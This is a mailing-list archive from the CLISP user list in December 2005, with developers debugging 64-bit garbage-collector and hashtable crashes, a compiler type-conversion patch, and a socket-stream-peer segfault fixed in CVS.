inconsistent page at address 0x60000000001557a0 inconsistent page at address 0x60000000000f55c0 inconsistent page at address 0x60000000001c59d0 inconsistent page at address 0x60000000001a5930 inconsistent page at address 0x6000000000145750 inconsistent page at address 0x6000000000215b60 inconsistent page at address 0x6000000000175840 inconsistent page at address 0x60000000000a5430 inconsistent page at address 0x60000000000c54d0 inconsistent page at address 0x60000000001657f0 inconsistent page at address 0x6000000000245c50 inconsistent page at address 0x60000000000b5480 inconsistent page at address 0x6000000000085390 [... 1873 times repeated ... ] inconsistent page at address 0x6000000000085390 Werner -- "Having a smoking section in a restaurant is like having a peeing section in a swimming pool." -- Edward Burr From sds@gnu.org Wed Dec 14 08:43:06 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EmZia-0003Tn-7B for clisp-list@lists.sourceforge.net; Wed, 14 Dec 2005 08:43:04 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EmZiY-0004Lk-NX for clisp-list@lists.sourceforge.net; Wed, 14 Dec 2005 08:43:04 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.93]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jBEGgd8Q009381; Wed, 14 Dec 2005 11:42:39 -0500 (EST) To: clisp-list@lists.sourceforge.net, "Dr. Werner Fink" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20051214154951.GA18868@boole.suse.de> (Werner Fink's message of "Wed, 14 Dec 2005 16:49:51 +0100") References: <20051208130929.GA23116@boole.suse.de> <20051212183358.GA23050@wotan.suse.de> <20051214132536.GA14284@boole.suse.de> <20051214141309.GA29371@wotan.suse.de> <20051214153617.GA17223@boole.suse.de> <20051214154951.GA18868@boole.suse.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Dr. Werner Fink" Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] Re: Clisp 2.36 for x86-64 crash on `make check-tests' Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Dec 14 08:44:01 2005 X-Original-Date: Wed, 14 Dec 2005 11:41:38 -0500 > * Dr. Werner Fink [2005-12-14 16:49:51 +0100]: > > On Wed, Dec 14, 2005 at 04:36:17PM +0100, Dr. Werner Fink wrote: >> Hi, >> >> just found the same error in hashtable handling on IA64: >> >> (LET ((HT (MAKE-HASH-TABLE :TEST 'FASTHASH-EQ))) (DEFSTRUCT HT-TEST-STRUCT A B C) (SETQ X (MAKE-HT-TEST-STRUCT :A 1 :B 2 :C HT)) (SETF (GETHASH HT HT) HT (GETHASH X HT) 12) (SETQ X (READ-FROM-STRING (WITH-STANDARD-IO-SYNTAX (WRITE-TO-STRING X))) HT (HT-TEST-STRUCT-C X)) (SETF (HT-TEST-STRUCT-A X) (! 123) (GETHASH (! 20) HT) (! 21) (GETHASH (! 21) HT) (! 22) (GETHASH (! 22) HT) (! 23)) (GC) (SETF (HT-TEST-STRUCT-B X) (! 124) (GETHASH (! 30) HT) (! 61) (GETHASH (! 41) HT) (! 72) (GETHASH (! 52) HT) (! 83)) (GC) (LIST (EQ (GETHASH HT HT) HT) (GETHASH X HT))) >> Exiting on signal 6 >> >> ... seems to be a common problem on 64 bit architectures. >> >> On both architectures I see a broken address in avl_spvw_move >> at line 643 of avl.d used with locale pointer nodeplace: >> >> #0 0x4000000000027a30 in avl_spvw_move (stack=0x60000ffffffee688) at avl.d:643 >> 643 if (node->nodedata.right == EMPTY) >> >> Please note that I've disabled TRIVIALMAP_MEMORY for AMD64 >> by adding `&& !(defined(AMD64) && defined(UNIX_LINUX))' to >> the definition of TRIVIALMAP_MEMORY in lispbibl.d ... simply >> to avoid a potenial 36/48 bit addressing problem within mmap. >> > > Beside this, the --with-debug switch seems to work on IA64 ;) I tried building with DEBUG_GCSAFETY on AMD64 but is it broken - by the same patch! could you please try on IA64 $ CC=g++ ./configure --with-debug --build build-g-gxx and -- if the build succeeds -- try the offending code above. thanks! -- Sam Steingold (http://www.podval.org/~sds) running w2k http://ffii.org/ http://www.openvotingconsortium.org/ http://www.memri.org/ http://www.palestinefacts.org/ http://truepeace.org When you are arguing with an idiot, your opponent is doing the same. From werner@suse.de Wed Dec 14 08:57:12 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EmZwG-0004VQ-1W for clisp-list@lists.sourceforge.net; Wed, 14 Dec 2005 08:57:12 -0800 Received: from cantor2.suse.de ([195.135.220.15] helo=mx2.suse.de) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EmZwF-0000Lp-Nf for clisp-list@lists.sourceforge.net; Wed, 14 Dec 2005 08:57:12 -0800 Received: from Relay2.suse.de (mail2.suse.de [195.135.221.8]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx2.suse.de (Postfix) with ESMTP id F13441E1C6 for ; Wed, 14 Dec 2005 17:57:08 +0100 (CET) From: "Dr. Werner Fink" To: clisp-list@lists.sourceforge.net Cc: "Dr. Werner Fink" Message-ID: <20051214165708.GA14826@wotan.suse.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Dr. Werner Fink" References: <20051208130929.GA23116@boole.suse.de> <20051212183358.GA23050@wotan.suse.de> <20051214132536.GA14284@boole.suse.de> <20051214141309.GA29371@wotan.suse.de> <20051214153617.GA17223@boole.suse.de> <20051214154951.GA18868@boole.suse.de> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline In-Reply-To: Organization: SuSE LINUX AG User-Agent: Mutt/1.5.6i X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Clisp 2.36 for x86-64 crash on `make check-tests' Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Dec 14 08:58:02 2005 X-Original-Date: Wed, 14 Dec 2005 17:57:08 +0100 On Wed, Dec 14, 2005 at 11:41:38AM -0500, Sam Steingold wrote: > > * Dr. Werner Fink [2005-12-14 16:49:51 +0100]: > > I tried building with DEBUG_GCSAFETY on AMD64 but is it broken - by the > same patch! > could you please try on IA64 > $ CC=g++ ./configure --with-debug --build build-g-gxx > and -- if the build succeeds -- try the offending code above. > thanks! Build is running. Beside this, why is the macro unbound set to 0xFFFFFFUL ... wouldn't be the mask oint_addr_mask not a better choice? With oint_addr_mask for unbound I get on IA64 always the same address in the message from DEBUG_SPVW. Args ... build has stopped with: g++ -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wno-sign-compare -Wno-invalid-offsetof -falign-functions=4 -g -DDEBUG_OS_ERROR -DDEBUG_SPVW -DDEBUG_BYTECODE -DSAFETY=3 -DDEBUG_GCSAFETY -DUNICODE -DDYNAMIC_FFI -DDYNAMIC_MODULES -DNO_GETTEXT -DNO_SIGSEGV -I. -O0 -g3 -c spvw.c spvw_objsize.d: In function 'void init_objsize_table()': spvw_objsize.d:452: error: invalid conversion from 'uintL (*)(void*)' to 'uintM (*)(void*)' spvw_objsize.d:458: error: invalid conversion from 'uintL (*)(void*)' to 'uintM (*)(void*)' spvw_gcmark.d: In function 'void gc_mark(object)': spvw_gcmark.d:6: internal compiler error: in check_initializer, at cp/decl.c:4613 Please submit a full bug report, with preprocessed source if appropriate. Werner -- "Having a smoking section in a restaurant is like having a peeing section in a swimming pool." -- Edward Burr From lenst@lysator.liu.se Wed Dec 14 09:30:26 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EmaSQ-0006hJ-1G for clisp-list@lists.sourceforge.net; Wed, 14 Dec 2005 09:30:26 -0800 Received: from mxfep01.bredband.com ([195.54.107.70]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EmaSO-0001dC-4P for clisp-list@lists.sourceforge.net; Wed, 14 Dec 2005 09:30:26 -0800 Received: from [172.17.0.2] ([85.226.6.107] [85.226.6.107]) by mxfep01.bredband.com with ESMTP id <20051214173010.YFJY676.mxfep01.bredband.com@[172.17.0.2]> for ; Wed, 14 Dec 2005 18:30:10 +0100 Mime-Version: 1.0 (Apple Message framework v623) Content-Transfer-Encoding: 7bit Message-Id: <1350acb7f3697a6226a3f7ab34df9b8a@lysator.liu.se> Content-Type: text/plain; charset=US-ASCII; format=flowed To: clisp-list@lists.sourceforge.net From: Lennart Staflin X-Mailer: Apple Mail (2.623) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] socket-stream-peer bug Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Dec 14 09:31:03 2005 X-Original-Date: Wed, 14 Dec 2005 18:30:09 +0100 CLISP 2.36 on MacOS 10.3.9 (Darwin 7.9.0) Running this in clisp: (defvar *socket* (socket-server 4444)) (let ((s (ext:socket-accept *socket*))) (format t "~&Socket accepted~%") (let ((p (socket-stream-peer s))) (format t "~&peer~%") (print p)) (close s) (socket-server-close *socket*)) And then telnet localhost 4444 Results in the clisp crashing with: Socket accepted *** - handle_fault error2 ! address = 0xfc50b508 not in [0x666fcb08,0x66766000) ! SIGSEGV cannot be cured. Fault address = 0xfc50b508. Permanently allocated: 87456 bytes. Currently in use: 1730776 bytes. Free space: 504792 bytes. Segmentation fault It does seem that it is socket-stream-peer that crashes. Interestingly if the code is compiled the result is different: $ clisp -C clisp-bug-1.lisp Socket accepted peer "127.0.0.1 (localhost)" *** - NO-APPLICABLE-METHOD: When calling # with arguments (#), no method is applicable. The error here doesn't make sense. Perhaps there is stack corruption. Then it might be something else then socket-stream-peer that cause the corruption. //Lennart Staflin From sds@gnu.org Wed Dec 14 09:50:38 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Emalx-0007y6-M9 for clisp-list@lists.sourceforge.net; Wed, 14 Dec 2005 09:50:37 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Emalv-0006uC-6z for clisp-list@lists.sourceforge.net; Wed, 14 Dec 2005 09:50:37 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.93]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jBEHoDh2012456; Wed, 14 Dec 2005 12:50:14 -0500 (EST) To: clisp-list@lists.sourceforge.net Cc: "Dr. Werner Fink" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20051214165708.GA14826@wotan.suse.de> (Werner Fink's message of "Wed, 14 Dec 2005 17:57:08 +0100") References: <20051208130929.GA23116@boole.suse.de> <20051212183358.GA23050@wotan.suse.de> <20051214132536.GA14284@boole.suse.de> <20051214141309.GA29371@wotan.suse.de> <20051214153617.GA17223@boole.suse.de> <20051214154951.GA18868@boole.suse.de> <20051214165708.GA14826@wotan.suse.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Dr. Werner Fink" Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Clisp 2.36 for x86-64 crash on `make check-tests' Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Dec 14 09:51:03 2005 X-Original-Date: Wed, 14 Dec 2005 12:49:12 -0500 > * Dr. Werner Fink [2005-12-14 17:57:08 +0100]: > > On Wed, Dec 14, 2005 at 11:41:38AM -0500, Sam Steingold wrote: >> > * Dr. Werner Fink [2005-12-14 16:49:51 +0100]: >> >> I tried building with DEBUG_GCSAFETY on AMD64 but is it broken - by the >> same patch! >> could you please try on IA64 >> $ CC=g++ ./configure --with-debug --build build-g-gxx >> and -- if the build succeeds -- try the offending code above. >> thanks! > > Build is running. Beside this, why is the macro unbound set to > 0xFFFFFFUL ... wouldn't be the mask oint_addr_mask not a better > choice? With oint_addr_mask for unbound I get on IA64 always the same > address in the message from DEBUG_SPVW. hack away - but don't forget also disabled specdecl eof_value dot_value > Args ... build has stopped with: > > g++ -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wno-sign-compare -Wno-invalid-offsetof -falign-functions=4 -g -DDEBUG_OS_ERROR -DDEBUG_SPVW -DDEBUG_BYTECODE -DSAFETY=3 -DDEBUG_GCSAFETY -DUNICODE -DDYNAMIC_FFI -DDYNAMIC_MODULES -DNO_GETTEXT -DNO_SIGSEGV -I. -O0 -g3 -c spvw.c > spvw_objsize.d: In function 'void init_objsize_table()': > spvw_objsize.d:452: error: invalid conversion from 'uintL (*)(void*)' to 'uintM (*)(void*)' > spvw_objsize.d:458: error: invalid conversion from 'uintL (*)(void*)' > to 'uintM (*)(void*)' please try the appended patch. thanks! > spvw_gcmark.d: In function 'void gc_mark(object)': > spvw_gcmark.d:6: internal compiler error: in check_initializer, at cp/decl.c:4613 > Please submit a full bug report, > with preprocessed source if appropriate. please _DO_ file the bug report (assuming your gcc is sufficiently recent) -- Sam Steingold (http://www.podval.org/~sds) running w2k http://ffii.org/ http://www.jihadwatch.org/ http://truepeace.org http://www.savegushkatif.org http://www.palestinefacts.org/ Do not tell me what to do and I will not tell you where to go. --- spvw_objsize.d 07 Jan 2005 09:42:29 -0500 1.20 +++ spvw_objsize.d 14 Dec 2005 12:48:38 -0500 @@ -127,7 +127,7 @@ sizeof(uintD),(uintL)(length)) # special functions for each type: -inline local uintL objsize_iarray (void* addr) { # non-simple array +inline local uintM objsize_iarray (void* addr) { # non-simple array var uintL size; size = (uintL)iarray_rank((Iarray)addr); if (iarray_flags((Iarray)addr) & bit(arrayflags_fillp_bit)) @@ -138,7 +138,7 @@ return size_iarray(size); } -inline local uintL objsize_s8string (void* addr) { # mutable S8string +inline local uintM objsize_s8string (void* addr) { # mutable S8string var uintL len = sstring_length((S8string)addr); var uintL size = size_s8string(len); #ifdef HAVE_SMALL_SSTRING @@ -150,7 +150,7 @@ return size; } -inline local uintL objsize_s16string (void* addr) { # mutable S16string +inline local uintM objsize_s16string (void* addr) { # mutable S16string var uintL len = sstring_length((S16string)addr); var uintL size = size_s16string(len); #ifdef HAVE_SMALL_SSTRING @@ -162,11 +162,11 @@ return size; } -inline local uintL objsize_s32string (void* addr) { # S32string +inline local uintM objsize_s32string (void* addr) { # S32string return size_s32string(sstring_length((S32string)addr)); } -inline local uintL objsize_sstring (void* addr) { # simple-string +inline local uintM objsize_sstring (void* addr) { # simple-string #ifdef TYPECODES #ifdef HAVE_SMALL_SSTRING if (sstring_reallocatedp((Sstring)addr)) goto case_sistring; From werner@suse.de Wed Dec 14 10:19:02 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EmbDR-0001hE-Qa for clisp-list@lists.sourceforge.net; Wed, 14 Dec 2005 10:19:01 -0800 Received: from ns1.suse.de ([195.135.220.2] helo=mx1.suse.de) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EmbDP-0005Fu-Tl for clisp-list@lists.sourceforge.net; Wed, 14 Dec 2005 10:19:01 -0800 Received: from Relay2.suse.de (mail2.suse.de [195.135.221.8]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.suse.de (Postfix) with ESMTP id CF913F453 for ; Wed, 14 Dec 2005 19:18:54 +0100 (CET) From: "Dr. Werner Fink" To: clisp-list@lists.sourceforge.net Message-ID: <20051214181854.GA16453@wotan.suse.de> Mail-Followup-To: clisp-list@lists.sourceforge.net References: <20051212183358.GA23050@wotan.suse.de> <20051214132536.GA14284@boole.suse.de> <20051214141309.GA29371@wotan.suse.de> <20051214153617.GA17223@boole.suse.de> <20051214154951.GA18868@boole.suse.de> <20051214165708.GA14826@wotan.suse.de> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline In-Reply-To: Organization: SuSE LINUX AG User-Agent: Mutt/1.5.6i X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Clisp 2.36 for x86-64 crash on `make check-tests' Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Dec 14 10:20:01 2005 X-Original-Date: Wed, 14 Dec 2005 19:18:54 +0100 On Wed, Dec 14, 2005 at 12:49:12PM -0500, Sam Steingold wrote: > > > > Build is running. Beside this, why is the macro unbound set to > > 0xFFFFFFUL ... wouldn't be the mask oint_addr_mask not a better > > choice? With oint_addr_mask for unbound I get on IA64 always the same > > address in the message from DEBUG_SPVW. > > hack away - but don't forget also > disabled > specdecl > eof_value > dot_value OK. > > > Args ... build has stopped with: > > > > g++ -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wno-sign-compare -Wno-invalid-offsetof -falign-functions=4 -g -DDEBUG_OS_ERROR -DDEBUG_SPVW -DDEBUG_BYTECODE -DSAFETY=3 -DDEBUG_GCSAFETY -DUNICODE -DDYNAMIC_FFI -DDYNAMIC_MODULES -DNO_GETTEXT -DNO_SIGSEGV -I. -O0 -g3 -c spvw.c > > spvw_objsize.d: In function 'void init_objsize_table()': > > spvw_objsize.d:452: error: invalid conversion from 'uintL (*)(void*)' to 'uintM (*)(void*)' > > spvw_objsize.d:458: error: invalid conversion from 'uintL (*)(void*)' > > to 'uintM (*)(void*)' > > please try the appended patch. > thanks! Yep > > > spvw_gcmark.d: In function 'void gc_mark(object)': > > spvw_gcmark.d:6: internal compiler error: in check_initializer, at cp/decl.c:4613 > > Please submit a full bug report, > > with preprocessed source if appropriate. > > please _DO_ file the bug report (assuming your gcc is sufficiently recent) Just done, the gcc 4.1.0 is 2005/11/29 respectivly 2005/12/11 both with the appropiate bug fixes. Maybe I try at tomorrow to build clisp 2.36 on an old SuSE distri with an older gcc. Werner -- "Having a smoking section in a restaurant is like having a peeing section in a swimming pool." -- Edward Burr From sds@gnu.org Wed Dec 14 12:09:16 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Emcw7-0008SL-SH for clisp-list@lists.sourceforge.net; Wed, 14 Dec 2005 12:09:15 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Emcw5-0004fd-HC for clisp-list@lists.sourceforge.net; Wed, 14 Dec 2005 12:09:15 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.93]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jBEK8j7c018844; Wed, 14 Dec 2005 15:08:48 -0500 (EST) To: clisp-list@lists.sourceforge.net, Lennart Staflin Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <1350acb7f3697a6226a3f7ab34df9b8a@lysator.liu.se> (Lennart Staflin's message of "Wed, 14 Dec 2005 18:30:09 +0100") References: <1350acb7f3697a6226a3f7ab34df9b8a@lysator.liu.se> Mail-Followup-To: clisp-list@lists.sourceforge.net, Lennart Staflin Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: socket-stream-peer bug Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Dec 14 12:10:01 2005 X-Original-Date: Wed, 14 Dec 2005 15:07:44 -0500 > * Lennart Staflin [2005-12-14 18:30:09 +0100]: > > *** - handle_fault error2 ! address = 0xfc50b508 not in > [0x666fcb08,0x66766000) ! > SIGSEGV cannot be cured. Fault address = 0xfc50b508. > Permanently allocated: 87456 bytes. > Currently in use: 1730776 bytes. > Free space: 504792 bytes. > Segmentation fault > > It does seem that it is socket-stream-peer that crashes. indeed - this is now fixed in the CVS. thanks! -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.jihadwatch.org/ http://www.palestinefacts.org/ http://truepeace.org http://www.honestreporting.com http://www.camera.org When told to go to hell, ask for directions. From werner@suse.de Thu Dec 15 06:44:35 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EmuLS-0000tA-Of for clisp-list@lists.sourceforge.net; Thu, 15 Dec 2005 06:44:34 -0800 Received: from mx2.suse.de ([195.135.220.15]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EmuLP-0004q1-40 for clisp-list@lists.sourceforge.net; Thu, 15 Dec 2005 06:44:31 -0800 Received: from Relay1.suse.de (mail2.suse.de [195.135.221.8]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx2.suse.de (Postfix) with ESMTP id 3018B1D86B for ; Thu, 15 Dec 2005 15:44:22 +0100 (CET) From: "Dr. Werner Fink" To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: Clisp 2.36 for x86-64 crash on `make check-tests' Message-ID: <20051215144419.GA6164@boole.suse.de> Mail-Followup-To: clisp-list@lists.sourceforge.net References: <20051212183358.GA23050@wotan.suse.de> <20051214132536.GA14284@boole.suse.de> <20051214141309.GA29371@wotan.suse.de> <20051214153617.GA17223@boole.suse.de> <20051214154951.GA18868@boole.suse.de> <20051214165708.GA14826@wotan.suse.de> <20051214181854.GA16453@wotan.suse.de> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline In-Reply-To: <20051214181854.GA16453@wotan.suse.de> Organization: SuSE LINUX AG User-Agent: Mutt/1.5.9i X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Dec 15 06:45:04 2005 X-Original-Date: Thu, 15 Dec 2005 15:44:19 +0100 On Wed, Dec 14, 2005 at 07:18:54PM +0100, Dr. Werner Fink wrote: > > > spvw_objsize.d: In function 'void init_objsize_table()': > > > spvw_objsize.d:452: error: invalid conversion from 'uintL (*)(void*)' to 'uintM (*)(void*)' > > > spvw_objsize.d:458: error: invalid conversion from 'uintL (*)(void*)' > > > to 'uintM (*)(void*)' > > > > please try the appended patch. > > thanks! > > Yep It works. > > > > > > spvw_gcmark.d: In function 'void gc_mark(object)': > > > spvw_gcmark.d:6: internal compiler error: in check_initializer, at cp/decl.c:4613 > > > Please submit a full bug report, > > > with preprocessed source if appropriate. > > > > please _DO_ file the bug report (assuming your gcc is sufficiently recent) > > Just done, the gcc 4.1.0 is 2005/11/29 respectivly 2005/12/11 > both with the appropiate bug fixes. Maybe I try at tomorrow > to build clisp 2.36 on an old SuSE distri with an older gcc. This does not work, g++ seems to be to old. I'm trying now to debug this with gdb and fprintf's mixed. On x86_64 I've found this: --------------------------------------------------------------------------- (LET ((HT (MAKE-HASH-TABLE :TEST 'FASTHASH-EQ))) (DEFSTRUCT HT-TEST-STRUCT A B C) (SETQ X (MAKE-HT-TEST-STRUCT :A 1 :B 2 :C HT)) (SETF (GETHASH HT HT) HT (GETHASH X HT) 12) (SETQ X (READ-FROM-STRING (WITH-STANDARD-IO-SYNTAX (WRITE-TO-STRING X))) HT (HT-TEST-STRUCT-C X)) (SETF (HT-TEST-STRUCT-A X) (! 123) (GETHASH (! 20) HT) (! 21) (GETHASH (! 21) HT) (! 22) (GETHASH (! 22) HT) (! 23)) (GC) (SETF (HT-TEST-STRUCT-B X) (! 124) (GETHASH (! 30) HT) (! 61) (GETHASH (! 41) HT) (! 72) (GETHASH (! 52) HT) (! 83)) (GC) (LIST (EQ (GETHASH HT HT) HT) (GETHASH X HT))) down: vorg = 0x17000333b9d728, dies = 0x486273950000000c Program received signal SIGABRT, Aborted. 0x00002aaaaaf91a25 in raise () from /lib64/libc.so.6 (gdb) up #1 0x00002aaaaaf92d0e in abort () from /lib64/libc.so.6 (gdb) up #2 0x0000000000419d73 in gc_mark (obj=) at spvw_gcmark.d:251 251 /*NOTREACHED*/ abort(); (gdb) --------------------------------------------------------------------------- The message `down: vorg = 0x17000333b9d728, dies = 0x486273950000000c' is from the copied fprintf at line 200 with PRIoint choosen to `l' in file spvw_gcmark.d. Werner -- "Having a smoking section in a restaurant is like having a peeing section in a swimming pool." -- Edward Burr From werner@suse.de Thu Dec 15 08:20:03 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Emvpo-0006pm-U1 for clisp-list@lists.sourceforge.net; Thu, 15 Dec 2005 08:20:00 -0800 Received: from ns.suse.de ([195.135.220.2] helo=mx1.suse.de) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1Emvpo-0003Un-9l for clisp-list@lists.sourceforge.net; Thu, 15 Dec 2005 08:20:00 -0800 Received: from Relay2.suse.de (mail2.suse.de [195.135.221.8]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.suse.de (Postfix) with ESMTP id 644ECF13F for ; Thu, 15 Dec 2005 17:19:56 +0100 (CET) From: "Dr. Werner Fink" To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: Clisp 2.36 for x86-64 crash on `make check-tests' Message-ID: <20051215161953.GA8089@boole.suse.de> Mail-Followup-To: clisp-list@lists.sourceforge.net References: <20051214132536.GA14284@boole.suse.de> <20051214141309.GA29371@wotan.suse.de> <20051214153617.GA17223@boole.suse.de> <20051214154951.GA18868@boole.suse.de> <20051214165708.GA14826@wotan.suse.de> <20051214181854.GA16453@wotan.suse.de> <20051215144419.GA6164@boole.suse.de> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline In-Reply-To: <20051215144419.GA6164@boole.suse.de> Organization: SuSE LINUX AG User-Agent: Mutt/1.5.9i X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net 